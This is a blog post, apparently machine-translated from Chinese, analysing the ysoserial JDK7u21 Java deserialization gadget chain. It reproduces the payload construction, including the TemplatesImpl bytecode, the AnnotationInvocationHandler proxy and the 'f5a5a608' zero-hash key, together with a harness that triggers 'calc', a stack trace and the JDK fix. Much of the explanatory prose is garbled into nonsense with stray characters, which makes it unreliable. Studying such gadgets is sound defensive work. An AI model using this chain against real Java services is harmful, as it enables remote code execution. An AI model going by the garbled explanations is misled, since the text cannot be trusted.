[Java] Ysoserial JDK7u21

3 minute read

Environmental environment

jdk7u21 ysoserial idea

Recovery

image.png

package ysoserial.mytest;

import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class JDK7u21 {
    public static void main(String[] args) {
        try {
            Object calc = new Jdk7u21().getObject("calc");

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//For use, person, object, serialization, byte number, systematic export

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(calc);//Serialization object
            objectOutputStream.flush();
            objectOutputStream.close();

            byte[] bytes = byteArrayOutputStream.toByteArray(); //Post-serialization object byte number set

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//Residual byte number group import flow

            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            Object o = objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

analysis

Neck tip 简 讀 讀 讀 蠁 rce

TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
object.getOutputProperties();

image.png

createTemplatesImpl use javassist dynamic additive religion java substitute, automatic behavior at the time of initialization, previous text, getOutputProperties () newTransformer ()
image.png

Completed getTransletInstance ()
image.png

getTransletInstance () Lieutenant General 节 码 节 码 节 码 节 码 节 码 节 码 节 码 节 码 节 码 节 码 节 码 节
image.png

Current problem, how to fix it, getOutputProperties for anti-ordering, and payload for grabbing

    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object
        return set;
    }

map Pre-existing one individual f5a5a608 = foo, after that f5a5a608 值 Reform Templates Impl

set Opposite object Existence TemplatesImpl Rebellious opposition elephant sum Templates-like dynamic surrogate opposition

image.png

LinkedHashSet Inheritance HashSet, its readObject in HashSet
image.png

Currently readObjcet Chukai Shogun Anti-ordered object put () In-release map (HashSet essence HashMap), pre-added templates re-added proxy. In put () secondary addition proxy-like time, in map already completed one TemplatesImpl
image.png
The reason is that the key is an entry-like key comparison, this key is the same as the new one, and the old one is the old one.

e.hash == hash && ((k = e.key) == key || key.equals(k))

Problem Appearance key.equals (k), however, the point of entry equals method Demand stake frontal short-circuit condition

  1. e.hash == hash
  2. (k = e.key) == key

e.hash generation payload-like timeset.add (proxy) calculative, proxy

hashCodeImpl:293, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:64, AnnotationInvocationHandler (sun.reflect.annotation)
hashCode:-1, $Proxy0 (com.sun.proxy)
hash:351, HashMap (java.util)
put:471, HashMap (java.util)
add:217, HashSet (java.util)
getObject:84, Jdk7u21 (ysoserial.payloads)
rce:21, JDK7u21 (ysoserial.mytest)
main:16, JDK7u21 (ysoserial.mytest)

In java.util.HashMap #put Addition 键 值 值 TIME Prediction object hash, run 1 individual hash (key) function
image.png

This time, proxy, proxy object, additional hashCode () function demand, dynamic proxy, invoke interface, application method, hashCode, and entry hashCodeImpl ()
image.png

    private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }

This individual method hen 历 memberValues This individual map object, after all

v += 127 * (key).hashCode() ^ memberValueHashCode(value);

memberValueHashCode () Direct return var0.hashCode () , Yasushi Direct return Original symmetric hashcode, However, return required run primary 亦, or reason required 127 * (key) .hashCode () = 0, The key is f5a5a608, the other hashcode is 0, and the object is not good or bad.

Taku Exhibition: Empty string Kushiwa \ u0000-like hashCode

image.png

e.hash == hash Actually, it is a proxy proxy @ javax.xml.transform.Templates (f5a5a608 = foo) Objective hash Kazuyuki Pre-calculated self hash comparison, the result is naturally true.

(k = e.key) == key 拿 proxy opposition elephant sum Templates comparison affirmative false.

Arrive key.equals (k) This step, Yasushi proxy.equals (templates). Proxy-like equals function for the same reasoning function demand passing invoke interface running
image.png

After that
image.png

getMemberMethods () Extraction method
image.png

GetOutputProperties (), sequel to the literary rce flow.

Repair

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

Opposite this.type Progress completed Annotation.class

reference

  1. https://mp.weixin.qq.com/s/qlg3IzyIc79GABSSUyt-OQ
  2. https://b1ue.cn/archives/176.html
  3. https://xz.aliyun.com/t/6884
  4. https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/

Tags:

Updated: